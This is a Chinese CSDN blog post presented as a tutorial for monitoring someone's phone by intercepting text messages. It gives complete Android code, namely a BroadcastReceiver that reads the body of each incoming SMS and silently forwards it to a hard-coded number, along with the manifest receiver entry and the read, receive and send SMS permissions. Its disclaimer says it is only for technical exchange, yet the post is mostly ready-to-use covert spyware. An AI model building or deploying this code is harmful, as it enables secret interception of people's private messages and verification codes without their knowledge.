关闭

《Online学习》Android实现短信监听,监听某个手机。

414人阅读 评论(0) 收藏 举报

申明:本文纯粹是为了技术交流,非法使用相关技术后果自负。

 

第一步:新建项目,编写SmsReceiver类继承自BroadcastReceiver类,编写onReceive方法代码如下:

com.feioh.SmsReceiver

SmsReceiver.java

package com.feioh;

import android.content.BroadcastReceiver;

import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

/**
 * 
 * @author yalin
 *
 */
public class SmsReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		// TODO Auto-generated method stub
		// 获取intent中的内容
		Bundle bundle = intent.getExtras();
		// message用于存放短信内容
		StringBuilder message = new StringBuilder();
		// 短信服务类,MS现在已经被android.telephony.SmsMessage取代
		SmsMessage sms = null;
		// 短信管理类,以便于发送短信
		SmsManager manager = null;
		if (bundle != null) {
			// 获取bundle里面的内容
			Object[] pdus = (Object[]) bundle.get("pdus");
			for (Object obj : pdus) {
				// 下面两行将短信内容取出加入到message中
				sms = SmsMessage.createFromPdu((byte[])obj);
				message.append(sms.getDisplayMessageBody());
			}
		}
		//将短信转发到指定的号码
		if (message.toString() != "") {
			manager = SmsManager.getDefault();
			manager.sendTextMessage("5554", null, message.toString(),
					null, null);
		}

	}
}

 

第二步:在功能清单文件中,加入短信过滤器

        <receiver android:name="com.feioh.SmsReceiver">
           <intent-filter>
                   <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
           </intent-filter>
       </receiver>


 


第三步:在功能清单文件中,加入相关权限

    <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
    <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
    <uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
    <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>



 

 

 

 

0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:3299次
    • 积分:70
    • 等级:
    • 排名:千里之外
    • 原创:3篇
    • 转载:2篇
    • 译文:0篇
    • 评论:5条
    文章分类
    最新评论